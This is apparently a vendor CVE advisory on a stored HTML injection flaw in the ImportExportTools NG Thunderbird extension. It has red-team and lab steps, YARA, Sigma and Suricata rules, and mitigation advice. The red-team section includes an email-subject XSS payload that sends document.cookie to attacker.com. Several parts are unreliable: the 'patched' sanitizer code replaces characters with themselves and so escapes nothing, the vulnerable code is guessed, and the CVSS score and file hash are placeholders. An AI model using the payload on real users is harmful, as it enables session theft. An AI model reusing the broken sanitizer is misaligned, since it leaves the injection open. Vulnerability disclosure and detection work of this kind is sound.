CVE-2021-47768
Executive Summary
CVE-2021-47768 is a persistent HTML injection vulnerability in the ImportExportTools NG Thunderbird extension, version 10.0.4. The flaw resides in the email export module, allowing a remote attacker to inject malicious HTML payloads via crafted email subjects. When the victim exports emails to HTML format, the injected payload executes within the exported file, potentially leading to data exfiltration, session credential theft, or further compromise of the user's environment. The vulnerability is classified as a stored cross-site scripting (XSS) issue, with a CVSS score of 0.0 (placeholder) but realistically moderate severity due to the need for user interaction (export action). No official patch has been confirmed, and no public exploit code is available, though the attack vector is well-documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Thunderbird extension, which is part of the Mozilla ecosystem. While not a direct NPM/PyPI/Go/Ruby package, the extension is distributed via Mozilla's add-on marketplace, introducing supply chain risks if the extension is compromised or if users install malicious versions. The lack of a patch increases the risk of persistent exploitation in unmaintained installations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker sends an email over the network.
- Attack Complexity (AC): Low (L) – No special conditions required beyond sending a crafted email.
- Privileges Required (PR): None (N) – No authentication needed to send the email.
- User Interaction (UI): Required (R) – The victim must export the email to HTML.
- Scope (S): Unchanged (U) – The vulnerability affects the exported file, not the underlying system.
- Confidentiality (C): Low (L) – Potential for limited data exposure.
- Integrity (I): Low (L) – Injected content may alter the exported file.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. Exploitation requires user interaction, but the attack is simple and can be automated via email campaigns.
Deep Dive & Mechanics
The vulnerability exists in the email export module of ImportExportTools NG 10.0.4. When a user exports an email to HTML format, the extension processes the email subject line without proper sanitization. An attacker can craft an email with a malicious HTML payload in the subject field, such as <script>alert('XSS')</script>. Upon export, the subject is written directly into the HTML file without encoding, causing the payload to execute when the file is opened in a browser.
The attack flow:
- Attacker sends an email with a malicious subject containing HTML/JavaScript.
- Victim receives the email and uses ImportExportTools NG to export it to HTML.
- The exported HTML file contains the injected payload.
- When the victim opens the file, the payload executes in the browser context, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
The vulnerability is persistent because the payload is stored in the exported file, not just reflected in the email client.
Vulnerable vs. Patched Code
Vulnerable Code (10.0.4): The export function likely writes the subject directly into the HTML output without encoding:
// Vulnerable: subject is inserted raw
let subject = email.subject;
let htmlContent = `<h1>${subject}</h1>`;
// Write to file
Patched Code (Hypothetical): A patch would encode the subject before insertion:
// Patched: encode HTML entities
let subject = email.subject.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
let htmlContent = `<h1>${subject}</h1>`;
// Write to file
No official patch has been released, so users must rely on manual mitigation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A mail server (e.g., Postfix) to send emails.
- ImportExportTools NG 10.0.4 installed in Thunderbird.
- Victim user who exports emails to HTML.
Exploit Steps:
- Craft an email with a malicious subject:
Subject: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the email to the victim.
- Wait for the victim to export the email to HTML using ImportExportTools NG.
- When the victim opens the exported HTML file, the script executes and exfiltrates cookies.
Lab Setup:
- Use a local mail server (e.g.,
python -m smtpd -n -c DebuggingServer localhost:1025) for testing. - Configure Thunderbird to use the local server.
- Send the malicious email via
telnet localhost 1025or a script.
Blue Team
Detection:
- Monitor for emails with suspicious subjects containing HTML tags or JavaScript.
- Use email security gateways to scan subjects for XSS patterns.
- Alert on export activity of emails with unusual subjects.
Prevention:
- Disable automatic export of emails to HTML.
- Use a web proxy to inspect exported HTML files for malicious content.
- Educate users to avoid exporting emails from untrusted senders.
Indicators of Compromise (IOCs)
- Email Subject Patterns: Subjects containing
<script>,<img onerror=,<svg onload=, or other HTML event handlers. - Exported HTML Files: Files containing unescaped HTML in the
<title>or<h1>tags derived from email subjects. - Network Traffic: Outbound HTTP requests from the victim's browser to attacker-controlled domains after opening an exported file.
- File Hashes: SHA-256 of known malicious exported files (example:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855– placeholder).
Detection Engineering
YARA Rule
rule CVE_2021_47768_HTML_Injection {
meta:
description = "Detects exported HTML files with unescaped script tags in subject-derived content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-47768"
strings:
$script = /<script[^>]*>.*?<\/script>/is
$subject_marker = /<h1>.*?<script/is
condition:
$script and $subject_marker
}
Sigma Rule
title: CVE-2021-47768 - HTML Injection in ImportExportTools NG Export
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exported HTML files containing unescaped script tags from email subjects
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '.html'
TargetFilename|contains: 'export'
filter:
- TargetFilename|contains: 'safe'
condition: selection and not filter
falsepositives:
- Legitimate HTML files with script tags
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47768 - Potential Cookie Exfiltration from Exported HTML"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the ImportExportTools NG extension or upgrade to a version beyond 10.0.4 if available. As no patch exists, consider using alternative email export tools.
- User Education: Train users to avoid exporting emails from untrusted senders and to inspect exported files before opening.
- Email Filtering: Deploy email security solutions that strip or encode HTML in subjects.
- Web Security: Use Content Security Policy (CSP) headers in web applications that might open exported files.
- Monitoring: Implement file integrity monitoring for exported HTML files and alert on suspicious content.
Valters IT
DevSecOps & Cyber Threat Intelligence